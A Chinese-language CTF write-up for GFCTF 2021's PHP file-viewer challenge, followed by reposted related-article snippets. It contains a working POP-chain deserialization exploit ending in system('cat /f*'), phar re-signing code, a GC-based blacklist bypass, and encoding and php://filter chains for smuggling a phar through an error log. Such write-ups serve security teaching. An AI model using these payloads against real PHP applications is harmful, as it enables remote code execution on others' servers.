[GFCTF 2021]文件查看器

文章目录

    • 前置知识
      • 可调用对象数组对方法的调用
      • GC回收机制
      • phar修改签名
    • 解题步骤


前置知识

可调用对象数组对方法的调用

我们先来看下面源码

<?phperror_reporting(0);class User{public $username;public $password;public function check(){if($this->username==="admin" && $this->password==="admin"){return true;}else{echo "{$this->username}的密码不正确或不存在该用户";return false;}}public function __destruct(){($this->password)();}}

链子很简单,就是__destruct() -> check()
但是关键点在于给password变量赋值check后并不能调用类中的check(),因为

check() != this->check()

解决办法就是利用PHP7引入的一个新特性 Uniform Variable Syntax,它扩展了可调用数组的功能,增加了其在变量上调用函数的能力,使得可以在一个变量(或表达式)后面加上括号直接调用函数。
可调用数组的构造我们简单测试下

<?php
highlight_file(__FILE__);
class A{public function check(){echo "<br>check!!!";}
}$a=[new A(),"check"];
$a();

发现成功调用
在这里插入图片描述

GC回收机制

简单给个示例

<?php
class Start{public $errMsg;
}class Crypto{public $obj;
}$a=new Start();
$b=new Crypto();
$a->errMsg=$b;
$A=array($a,NULL);
echo serialize($A);

利用数组对象占用指针(改数字)实现提前触发__destruct()方法绕过黑名单检测

//修改前payload
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";N;}}i:1;N;}
//修改后payload
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";N;}}i:0;N;}

phar修改签名

用010创建十六进制文件,然后将phar内容复制进去,手动修改内容后需要重新计算签名
不同签名格式对应不同的字节数,本题是sha256
在这里插入图片描述

脚本如下

from hashlib import sha256
with open("hacker1.phar",'rb') as f:text=f.read()main=text[:-40]        #正文部分(除去最后40字节)end=text[-8:]		  #最后八位也是不变的	new_sign=sha256(main).digest()new_phar=main+new_sign+endopen("hacker1.phar",'wb').write(new_phar)     #将新生成的内容以二进制方式覆盖写入原来的phar文件

解题步骤

dirsearch扫出来有源码泄露
在这里插入图片描述
Files.class.php

<?phperror_reporting(0);class User{public $username;public $password;public function login(){include("view/login.html");if(isset($_POST['username'])&&isset($_POST['password'])){$this->username=$_POST['username'];$this->password=$_POST['password'];if($this->check()){header("location:./?c=Files&m=read");}}}public function check(){if($this->username==="admin" && $this->password==="admin"){return true;}else{echo "{$this->username}的密码不正确或不存在该用户";return false;}}public function __destruct(){(@$this->password)();}public function __call($name,$arg){ ($name)();}}

可以得到用户和密码为admin,admin

Myerror.class.php

<?phpclass Myerror{public $message;public function __construct(){ini_set('error_log','/var/www/html/log/error.txt');ini_set('log_errors',1);}public function __tostring(){$test=$this->message->{$this->test};return "test";}}

会发现题目会将报错信息写到/log/error.txt

Files.class.php

<?phpclass Files{public $filename;public function __construct(){$this->log();}public function read(){include("view/file.html");if(isset($_POST['file'])){$this->filename=$_POST['file'];}else{die("请输入文件名");}$contents=$this->getFile();echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;}public function filter(){if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){echo "这合理吗";throw new Error("这不合理");}}public function getFile(){$contents=file_get_contents($this->filename);$this->filter();if(isset($_POST['write'])){file_put_contents($this->filename,$contents);}if(!empty($contents)){return $contents;}else{die("该文件不存在或者内容为空");} }public function log(){$log=new Myerror();}public function __get($key){($key)($this->arg);}}

read()方法可以查看文件然后调用getFile()方法,先是读取文件,然后黑名单检测其中包括phar伪协议,然后写入文件

思路很简单,就是phar伪协议读取文件,首要解决的就是如何上传phar文件,这里我们可以利用报错日志error.txt,phar内容当成文件名传入,那么error.txt就会出现我们传的内容,如果我们再利用伪协议和特殊的过滤器去读取error.txt,即可实现得到序列化的字符串;第二个解决的问题就是如何绕过黑名单,直接GC回收机制绕过即可
在这里插入图片描述

class文件整理如下

<?phpclass User{public $username;public $password;public function check(){if($this->username==="admin" && $this->password==="admin"){return true;}else{echo "{$this->username}的密码不正确或不存在该用户";return false;}}public function __destruct(){(@$this->password)();}}class Files{public $filename;public function __get($key){($key)($this->arg);}}class Myerror{public $message;public function __tostring(){$test=$this->message->{$this->test};return "test";}}

分析一下

  1. 链子出口是Files.__get()存在命令执行,往前推到Myerror.__tostring()调用不存在属性
  2. 再往前推到User.check(),而这里的调用就要用到前置知识的可调用对象数组

pop链

User类利用可调用对象数组 -> User.check() -> Myerror.__tostring() -> Files.__get()

exp如下

<?php
class User{public $username;public $password;
}
class Files{public $filename;
}class Myerror{public $message;
}$a1=new User();
$a2=new User();
$b=new Myerror();
$c=new Files();
$a1->password=[$a2,"check"];
$a2->username=$b;
$b->message=$c;
$b->test='system';
$c->arg='cat /f*';
$A=array($a1,null);$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($A);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后生成phar文件,010打开手动修改为0
在这里插入图片描述
重新计算签名得到利用的phar文件

然后就是如何利用伪协议和过滤器读取
如果只是简单的base64编码,会出现报错,因为读取的是整个error.txt文件(还包括其他非编码的字符),构造过程如下

utf-16le

当utf-8转换为utf-16le时,每一位字符后面都会加上一个\0,这个\0是不可见的,当将utf-16le转换为utf-8的时候,只有后面有\0的才会被正常转换,否则变为乱码

那么我们是否可以利用utf-16le来标记我们的payload,然后解码只对我们payload解码(其他变成乱码),然后再base64解码。不过这个被过滤了,我们可以用UCS-2编码(区别在于\0在前面)
UCS-2编码

UCS-2 编码使用固定2个字节,所以在ASCII字符中,在每个字符前面会填充一个 00字节(大端序)

lanb0
=>
\x00l\x00a\x00n\x00b\x000

那么下一步就是如何构造\0,因为是不可见字符,所以引入Quoted-Printable编码
Quoted-Printable编码

“Quoted-Printable"编码的基本原则是:安全的ASCII字符(如字母、数字、标点符号等)保持不变,空格也保持不变(但行尾的空格必须编码),其他所有字符(如非ASCII字符或控制字符)则以”="后跟两个十六进制数字的形式编码

lanb0\n
=>
lanb0=0A

整个流程如下

测试数据:test
base64编码:dGVzdA==
加上\0(等号也要转换):=00d=00G=00V=00z=00d=00A=00=3D=00=3D上传后:
垃圾数据=00d=00G=00V=00z=00d=00A=00=3D=00=3D垃圾数据
解码:
垃圾数据\0d \0G \0V \0z \0d \0A \0= \0=垃圾数据
UCS-2转UTF-8:乱码dGVzdA==乱码
base64解码:test

加密脚本

<?php
$a=file_get_contents('hacker1.phar');//获取二进制数据
$a=iconv('utf-8','UCS-2',base64_encode($a));//UCS-2编码
file_put_contents('hacker.txt',quoted_printable_encode($a));//quoted_printable编码
file_put_contents('hacker.txt',preg_replace('/=\r\n/','',file_get_contents('hacker.txt')).'=00=3D');//解决软换行导致的编码结构破坏

注:在 Quoted-Printable 编码中,为了防止编码后的字符串过长,通常会在每76个字符后插入一个软换行,也就是 = 符号加上一个换行符。

将得到的加密字符串输入,然后访问/log/error.txt
在这里插入图片描述
接下来就要用到伪协议和过滤器(后面步骤要点击重写文件)
解码quoted-printable

php://filter/read=convert.quoted-printable-decode/resource=log/error.txt

在这里插入图片描述
解码UCS-2

php://filter/read=convert.iconv.UCS-2.UTF-8/resource=log/error.txt

在这里插入图片描述
解码base64

php://filter/read=convert.base64-decode/resource=log/error.txt

在这里插入图片描述
可以看到我们序列化的结果,最后用phar伪协议读取即可

phar://log/error.txt

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/217726.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

flutter的ListView和SingleChildScrollView有什么区别?他们的使用场景有什么不一样?

文章目录 简介ListViewSingleChildScrollView使用场景的不同 简介 ListView和SingleChildScrollView都是在Flutter中用于处理滚动内容的组件&#xff0c;但它们有一些关键的区别。 ListView 多个子元素&#xff1a; ListView是一个滚动的可滚动组件&#xff0c;通常用于包含多…

接口管理——Swagger

Swagger是一个用于设计、构建和文档化API的工具集。它包括一系列工具&#xff0c;如Swagger Editor&#xff08;用于编辑Swagger规范&#xff09;、Swagger UI&#xff08;用于可视化API文档&#xff09;和Swagger Codegen&#xff08;用于根据API定义生成客户端库、server stu…

Web安全之XXE漏洞原理及实践学习

一、原理&#xff1a; XXE漏洞全称即XML外部实体注入漏洞。 攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)&#xff0c;导致可加载恶意外部文件&#xff0c;利用file协议造成文件读取、命令执行、内网端口扫描、攻击内网网站等…

OCRmyPDF让你能搜索扫描版PDF文档

什么是 OCRmyPDF &#xff1f; PDF 是存储和交换扫描文档的最佳格式。不幸的是&#xff0c;PDF 可能很难修改。OCRmyPDF 是一个 Python 应用程序和库&#xff0c;可以轻松地将图像处理和 OCR&#xff08;可识别、可搜索的文本&#xff09;应用于现有 PDF&#xff0c;通过向扫描…

奥比中光 Femto Bolt相机ROS配置

机械臂手眼标定详解 作者&#xff1a; Herman Ye Auromix 测试环境&#xff1a; Ubuntu20.04/22.04 、ROS1 Noetic/ROS2 Humble、X86 PC/Jetson Orin、Kinect DK/Femto Bolt 更新日期&#xff1a; 2023/12/12 注1&#xff1a; Auromix 是一个机器人爱好者开源组织。 注2&#…

环境安全之配置管理及配置安全设置指导

一、前言 IT运维过程中&#xff0c;配置的变更和管理是一件非常重要且必要的事&#xff0c;除了一般宏观层面的配置管理&#xff0c;还有应用配置参数的配置优化&#xff0c;本文手机整理常用应用组件配置项配置&#xff0c;尤其安全层面&#xff0c;以提供安全加固指导实践。…

Apache Kafka JNDI注入注入漏洞(CVE-2023-25194)

基于Vulhub搭建的环境 一、漏洞概述 Apache Kafka是一个开源分布式消息队列&#xff0c;Kafka clients是相对应的Java客户端。 在版本3.3.2及以前&#xff0c;Apache Kafka clients中存在一处JNDI注入漏洞。如果攻击者在连接的时候可以控制属性的值为&#xff0c;则可以发起…

Redis与MySQL双写一致性如何保证?

前言 四月份的时候&#xff0c;有位好朋友去美团面试。他说&#xff0c;被问到Redis与MySQL双写一致性如何保证&#xff1f;这道题其实就是在问缓存和数据库在双写场景下&#xff0c;一致性是如何保证的&#xff1f;本文将跟大家一起来探讨如何回答这个问题。 谈谈一致性 一致…

如何使用内网穿透实现iStoreOS软路由R4S公网远程访问局域网电脑桌面

最近&#xff0c;我发现了一个超级强大的人工智能学习网站。它以通俗易懂的方式呈现复杂的概念&#xff0c;而且内容风趣幽默。我觉得它对大家可能会有所帮助&#xff0c;所以我在此分享。点击这里跳转到网站。 文章目录 简介一、配置远程桌面公网地址二、家中使用永久固定地址…

vue.js纯前端处理如何将后台返回来的csv数据导出成csv文件

需要实现一个下载csv文件的功能&#xff0c;但后台没有对这个下载文件进行处理&#xff0c;而是将csv数据传给前台而已&#xff0c;需要前台做一下处理。 这是按钮的代码&#xff1a; <a> <el-button size"mini" class"custom-confirm" click&quo…

安科瑞出席宁波市建筑电气2023年年会-安科瑞 蒋静

12月1日&#xff0c;宁波市建筑电气2023年年会在宁波市海曙天港禧悦酒店成功举办。作为推动宁波市建筑电气行业技术发展的专业交流会&#xff0c;吸引了建筑电气行业领导、专家、设计师、厂家等300多名代表参会。期间&#xff0c;安科瑞电气股份有限公司携智能楼宇、智慧校园、…

vue3父组件调用子组件el-dialog对话框

vue3父组件调用子组件el-dialog对话框 在写项目的时候&#xff0c;经常要使用父子组件通讯&#xff0c;我已经写了很多篇博客来介绍父子组件通讯了&#xff0c;vue中的父子组件通讯方式有差不多10来种&#xff0c;最常用的就那么一两种&#xff0c;这里我介绍其中我认为最基础…

19、命令模式(Command Pattern,不常用)

命令模式&#xff0c;将一个请求封装为一个对象&#xff08;命令&#xff09;&#xff0c;使发出请求的责任和执行请求的责任分割开&#xff0c;有效降低系统的耦合度。这样两者之间通过命令对象进行沟通&#xff0c;这样方便将命令对象进行储存、传递、调用、增加与管理。命令…

【flutter对抗】blutter使用+ACTF习题

最新的能很好反编译flutter程序的项目 1、安装 git clone https://github.com/worawit/blutter --depth1​ 然后我直接将对应的两个压缩包下载下来&#xff08;通过浏览器手动下载&#xff09; 不再通过python的代码来下载&#xff0c;之前一直卡在这个地方。 如果读者可以…

等保2.0的一些问题

测评机构的主要问题 目前国内的测评机构有199家&#xff0c;测评机构主要分为以下几类: 1)北京地区国字头的测评机构&#xff1a;全国199家测评机构中北京就占了30多家&#xff0c;几乎都是国字头的背景&#xff0c;很多挂着都是行业或者部委的名头&#xff0c;这些测评机构基本…

Layui深入

1、代码&#xff1a; <!DOCTYPE html> <html> <head> <meta charset"utf-8"> <title>注册页面</title> <style> .container { max-width: 600px; margin: 0 auto; padding: 20px; …

vue的小练习-翻转单词

先将字符串转成数组&#xff0c;用reverse&#xff08;&#xff09;翻转数组&#xff0c;再转成字符串 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevic…

四六级高频词组5

词组 151. be content with&#xff08;be satisfied with&#xff09; 满足于 be content to do sth. 愿意做某事 152. contrary to &#xff08;in opposition to&#xff09; 与…相反 153. on the contrary 相反 154. contrast…with 把…与…相对&#xff08;对照&am…

命令行参数(C语言)

目录 什么是命令行参数 main函数的可执行参数 不传参打印 传参打印 IDE传参 cmd传参 命令行参数的应用&#xff08;文件拷贝&#xff09; 什么是命令行参数 概念&#xff1a;命令行参数指的是在运行可执行文件时提供给程序的额外输入信息。它们通常以字符串形式出现&am…

Leetcode—2697.字典序最小回文串【简单】

2023每日刷题&#xff08;五十八&#xff09; Leetcode—2697.字典序最小回文串 实现代码 char * makeSmallestPalindrome(char * s){int len strlen(s);int left 0, right len - 1;while(left < len / 2) {if(s[left] > s[right]) {s[left] s[right];} else {s[ri…